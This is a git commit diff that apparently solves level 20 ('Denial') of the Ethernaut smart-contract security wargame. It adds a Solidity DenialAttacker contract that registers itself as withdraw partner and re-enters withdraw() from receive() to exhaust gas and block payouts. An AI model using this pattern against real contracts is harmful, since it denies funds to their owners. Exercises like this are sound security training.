complete 20-Denial

script/setup/EthernautHelper.sol

@@ -6,7 +6,7 @@ import {IEthernaut} from "./IEthernaut.sol";
 import "forge-std/Test.sol";
 
 contract EthernautHelper is Script {
-    address HERO = vm.envAddress("ACCOUNT_ADDRESS"); // NOTE CHANGE THIS TO YOUR ADDRESS
+    address HERO = vm.envAddress("ACCOUNT_ADDRESS"); // NOTE CHANGE THIS INTO YOUR ADDRESS
 
     address constant ETHERNAUT = 0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6;
 

script/solutions/20-Denial.s.sol

@@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
 import {EthernautHelper} from "../setup/EthernautHelper.sol";
 
 // NOTE You can import your helper contracts & create interfaces here
+import "../../src/20-DenialAttacker.sol";
 
 contract DenialSolution is Script, EthernautHelper {
     address constant LEVEL_ADDRESS = 0x2427aF06f748A6adb651aCaB0cA8FbC7EaF802e6;
@@ -13,11 +14,11 @@ contract DenialSolution is Script, EthernautHelper {
     function run() public {
         vm.startBroadcast(heroPrivateKey);
         // NOTE this is the address of your challenge contract
-        address challengeInstance = createInstance(LEVEL_ADDRESS);
+        address challengeInstance = 0xcfE5fa726434dB5fa096Ca50999da604dff7f48a; // Hard coding
 
         // YOUR SOLUTION HERE
-
-
+        DenialAttacker denialAttacker = new DenialAttacker(challengeInstance);
+        denialAttacker.attack();
 
         // SUBMIT CHALLENGE. (DON'T EDIT)
         bool levelSuccess = submitInstance(challengeInstance);

src/20-DenialAttacker.sol

@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.21;
+
+interface IDenial {
+    function withdraw() external;
+    function setWithdrawPartner(address _partner) external;
+    function contractBalance() external view returns (uint);
+}
+
+contract DenialAttacker {
+    address public challengeInstance;
+
+    constructor(address _challengeInstance) {
+        challengeInstance = _challengeInstance;
+    }
+
+    function attack() external {
+        IDenial(challengeInstance).setWithdrawPartner(address(this));
+    }
+
+    receive() external payable {
+        IDenial(msg.sender).withdraw();
+    }
+}